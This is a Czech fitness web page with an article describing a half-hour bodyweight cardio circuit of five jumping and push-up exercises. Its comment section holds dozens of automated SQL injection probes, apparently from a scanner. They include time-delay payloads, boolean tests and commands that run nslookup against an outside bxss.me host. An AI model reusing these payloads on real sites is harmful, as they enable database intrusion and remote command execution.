reklama
cz / EN / esp

Posilování: kardio trénink s vlastní vahou

Nebaví vás běhat na páse? Zkuste tento půlhodinový trénink na spalování.

reklama

Kardio trénink nemusí být jen monotónní dřina na běžícím pásu, kole, či outdoor běh nebo brusle. Můžete si zatrénovat a zároveň posílit tělo jen vlastní vahou, dynamicky s cviky, které jsou zajímavé a dostatečně motivující pro absolvování celého tréninku.

Trénink, který vám dnes představujeme, je opravdu náročný. Technicky jsou cviky ale velmi dobře zvládnutelné. Jednotlivé cviky není problém provádět, pokud jste aspoň minimálně pohybově zdatní. Podívejme se na jednotlivé cviky a jejich provedení:

 

 


Squat JUMP - dřepy ve skoku. Při vyskočení si dopomáhejte zatažením rukou za sebe. Dopadejte přímo na přední část chodidel, tím šetříte kolenní vaziva a klouby.

PLYO pushup - dynamické kliky, při nichž švihově pohybem odtlačíte hrudník od země tak, že se rukama nedotýkáte země. Na důkaz správného provedení dlaně při švihu otočte směrem k hrudníku.

SPLIT JUMP - střídavé výpady s výskokem. Stejně jako při prvním cviku si při švihu dopomáhejte rukama - při dopadu zatlačte ruce mírně k sobě. Jelikož jsou to výpady, dávejte pozor na přední nohu - koleno nesmí být před špičkou přední nohy a zadní koleno se musí dostatečně ohnout do 90 stupňů.

T-ROTATION - jde o jednoduchou rotaci trupu s nataženýma rukama. Při rotaci jsou špičky nohou pořád v kontaktu se zemí. Ruce jsou celou dobu natažené.

TUCK JUMP - náročný cvik, při kterém skáčete tak, že přitahujete kolena k břichu, přičemž ruce držíte ve statické poloze. Nohama dopadejte na špičky.

Všech těchto 5 cviků tvoří jednu sérii. Každý cvik provádějte 60 sekund. Mezi jednotlivými cviky si dejte 10 sekund pauzu. Cvičení provádějte dohromady i s pauzami 30 minut.

Michael Achberger / 09.05.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





anojbjpy 15.05.2018
1acu5DgeIlCuLV
anojbjpy 15.05.2018
1acu5DgeIlCuLV
anojbjpy 15.05.2018
1acu5DgeIlCuLV
anojbjpy 15.05.2018
1
1acuYAsKbHbOMU 15.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri';copy (select '') to program 'nslookup dns.sqli.\039481.50-6606.50.24352.\1.bxss.me 14.05.2018
1
652' 14.05.2018
1
fxvdcvri';copy (select '') to program 'nslookup dns.sqli.\039481.50-6606.50.24352.\1.bxss.me 14.05.2018
1
xpqsoiln 14.05.2018
1
fxvdcvri';copy (select '') to program 'nslookup dns.sqli.\039481.50-6606.50.24352.\1.bxss.me 14.05.2018
1
4LgMvCtu');select pg_sleep(31.25); -- 14.05.2018
1
xpqsoiln 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6604.50.24352.1.bxss'||'.me')||' 14.05.2018
1
jlOkytsA'));select pg_sleep(62.5); -- 14.05.2018
1
xpqsoiln 14.05.2018
1
BcZc0Knu';select pg_sleep(31.25); -- 14.05.2018
1
1 waitfor delay '0:0:93.75' -- 14.05.2018
1
xpqsoiln 14.05.2018
1
(select(0)from(select(sleep(93.75)))v)/*'+(select(0)from(select(sleep(93.75)))v)+'"+(select(0)from(select(sleep(93.75)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(93.75),0)/*'XOR(if(now()=sysdate(),sleep(93.75),0))OR'"XOR(if(now()=sysdate(),sleep(93.75),0))OR"*/ 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 3*2>(0+5+296-296) -- 14.05.2018
1
-1" OR 3*2>(0+5+296-296) -- 14.05.2018
1
-1" OR 3*2>(0+5+296-296) -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 3*2<(0+5+296-296) -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 3*2<(0+5+296-296) -- 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 3+296-296-1=0+0+0+1 -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 3+296-296-1=0+0+0+1 -- 14.05.2018
1
-1" OR 3+296-296-1=0+0+0+1 -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1" OR 2+296-296-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2>(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2<(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2<(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2<(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2<(0+5+650-650) or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3+650-650-1=0+0+0+1 or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3+650-650-1=0+0+0+1 or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3+650-650-1=0+0+0+1 or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3+650-650-1=0+0+0+1 or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 2+650-650-1=0+0+0+1 or 'uyhYQaEx'=' 14.05.2018
1
-1' OR 3*2>(0+5+348-348) -- 14.05.2018
1
-1' OR 3*2<(0+5+348-348) -- 14.05.2018
1
-1' OR 3*2<(0+5+348-348) -- 14.05.2018
1
-1' OR 3+348-348-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+348-348-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+382-382) 14.05.2018
1
-1 OR 3*2<(0+5+382-382) 14.05.2018
1
-1 OR 3+382-382-1=0+0+0+1 14.05.2018
1
-1 OR 2+382-382-1=0+0+0+1 14.05.2018
1
xpqsoiln 14.05.2018
1
-1 OR 3*2>(0+5+327-327) -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1 OR 3*2<(0+5+327-327) -- 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
1
-1 OR 3+327-327-1=0+0+0+1 -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1 OR 3+327-327-1=0+0+0+1 -- 14.05.2018
1
xpqsoiln 14.05.2018
1
-1 OR 3+327-327-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3+327-327-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+327-327-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+327-327-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+327-327-1=0+0+0+1 -- 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
''"" 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
@@3s1fo 14.05.2018
1
@@3s1fo 14.05.2018
1
@@3s1fo 14.05.2018
1
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
xpqsoiln 14.05.2018
1
xpqsoiln 14.05.2018
''""
xpqsoiln 14.05.2018
''""
xpqsoiln 14.05.2018
'"
xpqsoiln 14.05.2018
JyI=
xpqsoiln 14.05.2018
@@cNzvh
xpqsoiln 14.05.2018
1%2527%2522
fxvdcvri 14.05.2018
681'
fxvdcvri 14.05.2018
681'
fxvdcvri 14.05.2018
681'
xpqsoiln 14.05.2018
1%2527%2522
xpqsoiln 14.05.2018
\
xpqsoiln 14.05.2018
\
fxvdcvri 14.05.2018
681'
fxvdcvri 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-6552.50.24352.\1.bxss.me
fxvdcvri 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6550.50.24352.\1.bxss.me'
xpqsoiln 14.05.2018
1'"
fxvdcvri 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6546.50.24352.1.bxss'||'.me')||'
xpqsoiln 14.05.2018
1'"
fxvdcvri 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6546.50.24352.1.bxss'||'.me')||'
xpqsoiln 14.05.2018
1
fxvdcvri 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6545.50.24352.1.bxss'||'.me')
fxvdcvri 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6545.50.24352.1.bxss'||'.me')
fxvdcvri 14.05.2018
PFL9qEXj'));select pg_sleep(35.282); --
fxvdcvri 14.05.2018
B7Xna2sX');select pg_sleep(0); --
fxvdcvri 14.05.2018
IYAa6DZm');select pg_sleep(17.641); --
fxvdcvri 14.05.2018
ydElwnlm';select pg_sleep(52.922999999999995); --
fxvdcvri 14.05.2018
-1));select pg_sleep(52.922999999999995); --
fxvdcvri 14.05.2018
-1);select pg_sleep(52.922999999999995); --
fxvdcvri 14.05.2018
-1;select pg_sleep(35.282); --
fxvdcvri 14.05.2018
-1); waitfor delay '0:0:17.641' --
fxvdcvri 14.05.2018
s3RirHoX'; waitfor delay '0:0:35.282' --
fxvdcvri 14.05.2018
1 waitfor delay '0:0:35.282' --
fxvdcvri 14.05.2018
-1); waitfor delay '0:0:52.922999999999995' --
fxvdcvri 14.05.2018
-1; waitfor delay '0:0:17.641' --
fxvdcvri 14.05.2018
(select(0)from(select(sleep(17.641)))v)/*'+(select(0)from(select(sleep(17.641)))v)+'"+(select(0)from(select(sleep(17.641)))v)+"*/
fxvdcvri 14.05.2018
if(now()=sysdate(),sleep(52.922999999999995),0)/*'XOR(if(now()=sysdate(),sleep(52.922999999999995),0))OR'"XOR(if(now()=sysdate(),sleep(52.922999999999995),0))OR"*/
fxvdcvri 14.05.2018
-1" OR 3*2>(0+5+959-959) --
fxvdcvri 14.05.2018
-1" OR 3*2<(0+5+959-959) --
fxvdcvri 14.05.2018
-1" OR 2+959-959-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1" OR 3+959-959-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1" OR 2+959-959-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1' OR 3*2>(0+5+508-508) or 'dgQajcS3'='
fxvdcvri 14.05.2018
-1' OR 3*2<(0+5+508-508) or 'dgQajcS3'='
fxvdcvri 14.05.2018
-1' OR 3+508-508-1=0+0+0+1 or 'dgQajcS3'='
fxvdcvri 14.05.2018
-1' OR 3+508-508-1=0+0+0+1 or 'dgQajcS3'='
fxvdcvri 14.05.2018
-1' OR 2+508-508-1=0+0+0+1 or 'dgQajcS3'='
fxvdcvri 14.05.2018
-1' OR 3*2>(0+5+74-74) --
fxvdcvri 14.05.2018
-1' OR 3*2<(0+5+74-74) --
fxvdcvri 14.05.2018
-1' OR 3+74-74-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1' OR 2+74-74-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1 OR 3*2>(0+5+838-838)
fxvdcvri 14.05.2018
-1 OR 3*2<(0+5+838-838)
fxvdcvri 14.05.2018
-1 OR 3+838-838-1=0+0+0+1
fxvdcvri 14.05.2018
-1 OR 2+838-838-1=0+0+0+1
fxvdcvri 14.05.2018
-1 OR 2+838-838-1=0+0+0+1
fxvdcvri 14.05.2018
-1 OR 3*2>(0+5+251-251) --
fxvdcvri 14.05.2018
-1 OR 3*2<(0+5+251-251) --
fxvdcvri 14.05.2018
-1 OR 3+251-251-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1 OR 2+251-251-1=0+0+0+1 --
fxvdcvri 14.05.2018
-1 OR 2+251-251-1=0+0+0+1 --
fxvdcvri 14.05.2018
1
fxvdcvri 14.05.2018
1
ryyjvyer 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag